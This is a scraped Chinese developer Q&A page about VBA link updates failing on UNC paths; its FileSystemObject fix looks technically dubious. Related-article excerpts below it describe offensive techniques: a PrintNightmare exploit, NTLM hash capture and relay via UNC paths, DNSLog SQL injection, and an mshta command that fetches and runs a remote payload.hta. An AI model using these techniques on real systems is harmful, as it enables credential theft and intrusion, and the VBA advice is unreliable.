首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用UNC服务器路径的VBA更新链接不起作用

是因为UNC路径在VBA中需要特殊处理。UNC路径是一种用于访问网络共享文件夹的路径格式,它以两个反斜杠(\)开头,后面跟着服务器名称和共享文件夹名称。

在VBA中,如果要使用UNC路径更新链接,需要使用特殊的函数来处理。以下是一种可能的解决方案:

  1. 首先,确保你的VBA代码中引用了Microsoft Scripting Runtime库。可以在VBA编辑器中的"工具"菜单下的"引用"选项中勾选"Microsoft Scripting Runtime"。
  2. 在代码中使用FileSystemObject对象来处理UNC路径。首先创建一个FileSystemObject对象,然后使用其GetDrive方法获取UNC路径所在的驱动器对象,最后使用驱动器对象的Path属性获取UNC路径的本地路径。

下面是一个示例代码:

代码语言:txt
复制
Dim fso As FileSystemObject
Dim drive As Drive
Dim localPath As String

Set fso = New FileSystemObject
Set drive = fso.GetDrive("UNC路径")

localPath = drive.Path

在上面的代码中,将"UNC路径"替换为你要处理的实际UNC路径。执行完上述代码后,localPath变量将包含UNC路径的本地路径。

这样,你就可以使用localPath变量来更新链接,确保链接能够正常工作。

对于VBA更新链接不起作用的问题,还有一些其他可能的原因,例如权限问题、网络连接问题等。如果以上方法无法解决问题,建议检查以下几点:

  1. 确保你对UNC路径所在的共享文件夹具有足够的访问权限。
  2. 确保你的计算机与UNC路径所在的服务器之间的网络连接正常。
  3. 如果UNC路径中包含用户名和密码信息,确保提供了正确的凭据。

希望以上信息能够帮助你解决VBA更新链接不起作用的问题。如果需要更多帮助,请提供更多详细信息,以便我们能够给出更具体的建议。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

使用VBA找到程序安装路径

当需要使用某个程序时候,就一时会找不到。当然一般可以通过电脑左下角“开始”去找到程序。...这里介绍使用VBA程序来找方法,一个程序在安装过程中,一般都会需要管理员权限,这是因为程序安装一般都要在注册表中写入一些信息,而操作注册表需要管理员权限。...这些写入信息就包括在安装过程中我们选择程序安装路径,所以只需要使用VBA去读取相应注册表信息就可以找到程序安装路径: Function GetAppPath(AppName As String...) AppName = VBA.UCase$(AppName) If VBA.Right$(AppName, 4) ".EXE" Then AppName = AppName &...CurrentVersion\App Paths\" & AppName & "\Path") If Err.Number 0 Then GetAppPath = "没有找到[" & AppName & "]安装路径

1.8K10

VBA: 获取单元格内超链接文件绝对路径

文章背景:在工作中,有时为了内容跳转方便,会在单元格内设置超链接,通过Hyperlinks(1).Address,得到是超链接文件相对路径。...有时为了VBA代码编写方便,需要使用链接文件绝对路径。下面通过编写VBA函数,获取单元格内超链接文件绝对路径。 1 绝对路径和相对路径 有两种方法指定一个文件路径。...绝对路径,总是从根文件夹开始。 相对路径,它相对于程序的当前工作目录。 对于点(.)和点点(..)文件夹,它们不是真正文件夹,而是可以在路径使用特殊名称。...回到VBA,通过ThisWorkbook.Path,可以获取当前工作簿所在工作目录路径;通过Hyperlinks(1).Address,得到是基于ThisWorkbook.Path相对路径;通过ThisWorkbook.Path...2 函数编写 针对单元格内链接,本文暂不考虑共享文件夹情况,链接文件可以分为以下三种情况: 在同一工作目录内; 在同一个公共盘,不在同一工作目录内; 不在同一公共盘。

3.4K40
  • 使用VBA设置可以实时更新打印区域

    标签:VBA 有时候,工作表中数据经常发生更新,这样,如果要设置打印区域的话,那么每次更新后都得重新选择并设置,以便将更新数据包括到打印区域中。...如果希望在工作表数据更新同时,设置打印区域也相应更新,那该如何实现呢? 可以使用VBA代码。...如果数据在工作表列A至列C,可以使用下面的代码: Sub UpdatePrintArea() Dim wks As Worksheet Set wks = Sheet1 With....Range("A1", .Range("C" & Rows.Count).End(xlUp)).Address End With End Sub 如果数据为单元格A1所在的当前区域,可以使用下面的代码...如果想要让Excel自动更新设置打印区域,则需要使用工作表Change事件。

    1.9K20

    关于网站链接使用相对路径还是绝对路径问题

    今天在网上看到一些关于网站链接使用相对路径还是绝对路径文章,自己在总结整理下,不对之处望各位指正: 一、使用绝对路径好处 1.当别人采集或者抄袭你网站内容时候,可能会把文章里链接也一起采集过去...,这样就为你增加了外链 2.当不能使用301跳转时 例如 www.fgba.net 这个域名不能实现301跳转到 www.jianfei8.net 时,那么在这个网站上链接https://www.fgba.net...3.使用绝对链接,就算移动网页位置,也还是能链接到想要URL位置(例如:a页面使用绝对路径链接到b页面,A--》B,那么不管a页面如何移动,只要b页面的位置不变都可以链接到) 缺点是: 1.不方便本地测试...,因为都是指向网络绝对地址 (如果在本地测试时用相对地址,上传之后在修改为绝对地址,貌似要耗费很多时间,麻烦~) 2.如同优点3中提到,如果b页面要发生移动,A页面就无法链接到B页面原来地址 3....更改域名时,需要更改链接 二、相对路径优缺点则刚好和绝对路径相反 优点是:1.更改域名时,不需要更改链接 2.方便本地测试 缺点是:1.容易被别人采集或抄袭,或者直接网站镜像

    2K00

    使用SQLServer2005链接服务器链接Sybase数据库

    在以前一篇文章中我讲到了Sybase ASE数据库安装,接下来本篇就讲一下Sybase数据库与SQLServer2005数据库同步,准确说是使用SQLServer2005读取和写入Sybase数据库表...因为在项目中有时需要做其他系统数据接口,而接口中数据是存放在Sybase数据库中,这个时候就可以使用SQLServer2005中链接服务器来连接Sybase数据库,在前面我也写过一篇文章讲SQLServer2005...6.单击“SetUpDataSource”按钮,系统将弹出链接Sybase数据库配置对话框,在该窗口中输入Sybas服务器IP,端口和数据库,如图: 7.单击“Test Connect”按钮,系统将弹出测试链接窗口...9.重启计算机,然后打开SSMS,在链接服务器上右击,选择“新建链接服务器”选项: 10.在弹出新建链接服务器窗口中输入要新建链接服务器名称,比如SYBASELINK,访问接口选择“Sybase...填写好如图: 11.在安全性选项卡中,输入登录Sybase数据库用户名和密码,然后单击“确定”按钮即可。如图: 这个时候我们链接服务器就已经创建完成了。

    2.6K20

    CVE-2021-1675 Windows Print Spooler RCE EXP

    要将打印机驱动程序(“OEM 打印机驱动程序”)添加或更新到打印服务器(“CORPSERV”),客户端(“TESTCLT”)执行以下步骤。...客户端可以使用 RPC 调用 RpcAddPrinterDriver 向打印服务器添加驱动程序。 客户端确保打印机驱动程序文件位于服务器可访问位置。...为此,客户端可以共享包含文件本地目录,或使用 [MS-SMB] 将文件放入服务器目录中 然后客户端分配并填充 DRIVER_INFO_2 结构,如下所示:pName = L"OEM 打印机驱动程序...但是,在最新版本中,Spooler 将检查以确保 A 和 C 不是 UNC 路径。但是由于 B 可以是 UNC 路径,所以我们可以将 pConfigFile 设置为 UNC 路径(evildll)。...它将加载我们邪恶 dll。不幸是,它不起作用。因为如果你在文件夹C:\Windows\System32\spool\drivers\x64\3中设置了A、B、C。文件复制会出现访问冲突。

    1.2K20

    VSTO开发Excel插件自动更新实现效果演示

    使用传统VBA方式开发,开发过程简单,布署也方便,直接把Excelxlsm或xlam文件发给用户,用户打开就可以使用,但现在问题来了,如果出现前面所说程序有bug和需要增加新功能,我们怎么办?...用户使用Excel就像使用一个网页浏览器一样,每次打开Excel,都能得到最新功能,而整个升级过程,完全不需要用户做半点操作,一切都是自动完成,瞬间完成,代码和数据分离,整个更新过程只是代码部分,不需加载和传输用户数据部分...例如传统VBA是以文档形式和用户做传输,用户对文件来源和文件内代码安全性很难把控,就算相信某个开发者,但也很难保障到最终拿到手里文件是出自此开发者,传输过程中没有被恶意修改过等等。 ?...现VSTO程序为何能做到不需用户干预,直接就自动更新了呢,如果出现像传统VBA开发那样,更新代码被篡改了,然后用户不知情下代码已经植入了用户机器,这样情况岂不是很可怕。...2、用户机器需要信任开发者给程序存放自动更新路径(网站或共享UNC路径),就如我们xlsm文件我们存放在本机时,只对某个文件夹路径xlsm可以开绿灯放行,如果不在这文件夹内xlsm文件,默认是不能打开宏代码

    2.3K20

    nodejs使用cmd更新windows服务器代码

    记一下使用nodejs更新windows server上代码 项目依赖 主文件代码 工具使用 注意事项 有个项目是部署在阿里云Windows Server服务器,每次更新都需要远程或者ssh上去更新...,比较繁琐就搞了一个nodejs工具去更新代码了 # 项目依赖 项目基于koa开发,需要安装koa-router、node-cmd package.json文件 { "name": "code_upd...nodeCmd = require('node-cmd'); router.get('/', async (ctx, next) => { await next(); ctx.body = '更新代码...cmdTxt); }); } app.use(router.routes()); app.use(router.allowedMethods()); app.listen(7000); # 工具使用...可以用pm2启动server.js,然后就可以通过请求ip:7000/upd来更新代码了 # 注意事项 可能需要在阿里云后台安全组放行项目使用端口,不然无法请求到服务地址

    3.3K10

    收获 NetNTLM

    收获哈希 为了让远程主机向您进行身份验证,例如作为遵循 UNC 路径结果,必须满足某些条件。...也就是说,如果您在workstation1.contoso.com上,您应该在您 UNC 路径使用 station1 来强制它进入本地 Intranet 区域。...可以使用 UNC 路径(如\\workstation1@8080\mdsec.png....当对启用 WebDAV UNC 路径触发文件操作时,身份验证主机将执行以下操作: 发出一个 OPTIONS 方法来发现 Web 服务器支持功能, 如果支持 PROPFIND,则发出 PROPFIND...我们可以通过在域代码中设置“\a”指令来告诉 Word 在打开文档时自动更新链接域: 当用户打开文档时,他们将收到类似于以下内容警告提示: LINK Excel.Sheet.8 \\\\workstation1

    1.2K30

    内网渗透|HASH与横向移动

    其实是UNC路径 UNC,即Universal Naming Convention,意为通用命名规则。...UNC路径就是类似\softer这样形式网络路径unc共享就是指网络硬盘共享: 当访问softer计算机中名为it168共享文件夹,用UNC表示就是\softer\it168;如果是softer...但是,如果使用SCF文件访问特定UNC路径,那么我们可以发起攻击 这里简单介绍下环境 攻击机kali:192.168.10.11 靶机win7:192.168.10.15 首先生成一个SCF文件 [Shell...当目标机器只要访问这个scf文件之后我们就可以拿到它NTLM hash,注意这里不需要点击也可以得到,只需要能够访问即可 当用户浏览共享时,将自动从他系统建立到SCF文件中包含UNC路径连接。...使用链接 这里使用链接窃取hash原理跟LLMNR欺骗有类似之处,都是访问一个不存在路径/程序,从而达到在本地子网发送请求效果。

    1.1K40

    数据库分库分表策略之MS-SQL读写分离方案

    2.2搜索发布服务器去订阅 ? 2.3由于上面发布和分发是同一台服务器所以选择推送订阅 ?...2.5设置链接安全性 ? 2.6后面一直默认点下一步,完成订阅 ? ? ?...3.示例:   同步上面步骤,把 A服务器 test 库 pce_admin_info 表同步到 B服务器 test1 ,在第一次执行订阅后自动创建了表,之后会根据计划设置同步更新表pce_admin_info...4.注意事项 4.1无论是发布复制还是订阅服务 一定要在sql server安装服务器本机操作,不能是远程连接操作 4.2将这个文件夹共享出来,然户用共享文件夹UNC路径作为快照文件夹路径。...4.4UNC 可以做网络驱动映射或者FTP连接 4.5再发布服务器设置订阅时候 系统会提示使用计算机名,而在不同网络内计算机名不可以直接访问,这个时候需要设置别名,别名要注意64 client 和

    1.3K60

    Windows文件传输及执行—mshta「建议收藏」

    取决于Windows系统版本,通过HTTP下载文件缓存位置为IE本地缓存,在下面的路径之一: C:\Users\\AppData\Local\Microsoft\Windows...WebDav服务器UNC路径下载文件将保存在WebDAV客户端本地缓存: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore...\Tfs_DAV  在使用UNC路径下载payload时,需要WebClient 服务启动,如果没有启动,可在命令行前面加上pushd \\webdavserver & popd命令。...: mshta http://192.168.49.160:8000/payload.hta win7,10成功: 使用UNC路径命令格式为: mshta \\webdavserver\folder...发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/159691.html原文链接:https://javaforall.cn

    3K20

    文件路径超过系统限制_linux文件名长度限制

    #endif Window 默认系统路径限制长度是260,文件名长度最大不超过255【可能是因为盘符和结尾NUL字符缘故吧^_^】,不过从Windows 10 build 14352之后,就可以设置启用...前缀扩展为较长字符串,并且此扩展适用于总 \ \ \ 长度。”?” 前缀还可与根据 UNC 规则通用命名约定构造 (\ \ \ 路径) 。 若要使用 UNC 指定此类路径,请使用 \ \ “?”...\UNC \ ” 前缀。 例如 \ \ ,”?” \UNC \ \ 服务器共享”,其中”server”是计算机名称,”share”是共享文件夹名称。 这些前缀不用作路径本身一部分。...它们指示路径应该以最小修改方式传递给系统,这意味着不能使用正斜杠来表示路径分隔符,不能使用一个表示当前目录周期,或者使用双点表示父目录。 由于不能将 \ \ “?”...开启长文件名 255 32767 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/179186.html原文链接:https://javaforall.cn

    10.1K70

    Zoom客户端漏洞允许黑客窃取用户Windows密码

    Baset证实,WindowsZoom客户端容易受到“ UNC路径注入”漏洞攻击,该漏洞可能使远程攻击者窃取Windows系统用户登录凭据。...视频内容 只有当WindowsZoom客户端支持远程UNC路径,该攻击才可能发生,该路径会将此类可能不安全URL转换为个人聊天或群聊中收件人链接。...除了使用安全密码外,Windows用户还可以更改安全策略设置,限制操作系统将其NTML凭据自动传递给远程服务器。 ? 正如前文所述,在过去两天里,这不是Zoom被发现唯一隐私或安全问题。...就在上周,在曝出与Facebook服务器共享用户设备信息后,Zoom更新了其iOS应用程序,但是这还是引发了人们对其未能保护用户隐私担忧。...攻击者可能会使用它来尝试通过显示ID手动加入来获得未经授权会议访问权限。 ? 不要发布会议公共链接 创建Zoom会议时,切勿公开发布会议链接

    1.8K10

    使用DNSLog进行盲打

    load_file()函数在Linux下是无法用来做DNSLog攻击,因为linux没有UNC这个东西,所以当MySQL处于Linux系统中时候,是不能使用这种方式外带数据。 什么是UNC?...UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器。 UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用网络共享文件就是这个方式。...UNC路径就是类似softer这样形式网络路径。它符合 servernamesharename 格式,其中 servername 是服务器名,sharename 是共享资源名称。...目录或文件 UNC 名称可以包括共享名称下目录路径,格式为:servernamesharenamedirectoryfilename。...例如把自己电脑文件共享,你会获得如下路径,这就是UNC路径 //iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt SQL盲注回显 不管是布尔盲注还是时间盲注

    2.4K20

    SQL Server数据库UNC路径注入攻击

    UNC路径注入 如果我们能强制SQL服务器连接到我们控制SMB共享,连接将会包含认证数据。更具体来说,将会发起一个NTLM认证,我们将能捕获到运行SQL服务账户密码hash。...要强制SQL服务器发起一个SMB连接请求,我们可以使用xp_dirtree SQL存储过程实现。该存储过程会列出指定路径所有文件,不仅是本地文件,也接受SMB共享作为目标。...使用PowerUpSQL.ps1执行UNC路径注入 如果成功,我们将能在kali上捕获到运行SQL服务账户密码hash: responder捕获hash Responder获得hash是...server实例,然后对每个可访问实例都会执行UNC路径注入。...首先使用discover发现域内存在SQL server实例,然后使用set命令指定我们想要执行UNC路径注入SQL实例,最后执行xp_dirtree存储过程: discover domainspn

    14510

    你所不知道NTLM Relay

    图标 当图标的一些路径属性改成我们UNC路径的话,我们就能收到目标服务器发来NTLM请求。...文件 将IconResource替换为攻击者UNC路径 只要有人访问了test文件夹,目标主机就会去请求指定UNC图标资源,于是该主机会将当前用户Net-NTLM Hash发送给指定机器,我们在该机器上使用...在更改账户图片处,输入指定UNC路径 我们就能抓到目标机器的当前用户Net-NTLM Hash了。...而IconFile是支持UNC路径,所以当打开文件夹时候,目标主机就会去请求指定UNC图标资源,于是该主机会将当前用户NTLM v2 hash发送给指定机器,我们在该机器上使用Responder...系统命令 通过执行系统命令,访问指定UNC路径,来获取目标机器Net-NTLM Hash。

    2.3K20

    使用 CVE-2021-43893 在域控制器上删除文件

    James 链接到 Project Zero bug tracker,其中存储了扩展文章和一些概念验证代码。...最初,PetitPotam 向受害者服务器发送了一个包含UNC 文件路径请求。使用诸如强制受害者服务器访问第三方服务器(本例中为 10.0.0.4)之类 UNC 路径,以便读取所需文件共享。...该补丁是不够EfsRpcOpenFileRaw,因为它不是唯一接受 UNC 文件路径作为参数 EFSRPC 函数。...PetitPotam UNC 路径指向外部服务器,但 CVE-2021-43893 在内部使用 UNC 路径指向:\\.\C:\....使用指向受害者本地文件系统 UNC 路径允许攻击者在受害者文件系统上创建文件和目录。 这个漏洞有两个主要警告。首先,这个漏洞文件写入方面似乎只适用于无约束委派系统。

    1.5K30

    Workbook工作簿对象方法(一)

    (此处用了with语句,可以方便增加其他属性更改。) 二、工作簿对象open方法 在使用EXCLE文件时,在VBA代码中打开工作簿是通过workbooks集合open方法。...Sub test() Workbooks.Open Filename:="D:\VBA示例.xlsm" End Sub 代码中filename参数后用 := ,加excel完整路径路径需要用英文引号。...---- 介绍完最常用使用方式后,下面说下open方法完整语法结构。...1、参数FileName必需,指定一个字符串,代表要打开工作簿文件名。 2、参数UpdateLinks可选,指定文件中外部引用(链接方式。如果忽略该参数,那么将提示用户指定如何更新链接。...指定值为0将不更新外部引用(链接),指定值为1将更新外部引用(链接)但不更新远程引用(链接),指定值为2将更新远程引用(链接)但不更新外部引用(链接),指定值为3将更新外部引用(链接)。

    6.3K40

    大型网站图片服务器架构演进

    上述架构中只能在这几台Web服务器上互相“增量同步”,这样一来,就不支持文件“删除、更新”操作同步了。...四,集群时代图片服务器架构改进(共享存储) 沿用虚拟目录方式,通过UNC(网络路径方式实现共享存储(将upload虚拟目录指向UNC) 用户访问方式1: http://www.yourdomain.com...优点: 通过UNC(网络路径方式来进行读写操作,可以避免多服务器之间同步相关问题。相对来讲很灵活,也支持扩容/扩展。支持配置成独立图片服务器和域名访问,也完整兼容旧版本访问规则。...我们可以使用Lighttpd或者Nginx等轻量级web服务器来架构独立图片服务器。...如果将旧图片一次性导入FastDFS,但由于旧图片访问路径分布存储在不同业务数据库各个表中,整体更新起来也十分困难,所以必须得兼容旧版本访问规则。

    3.4K40
    领券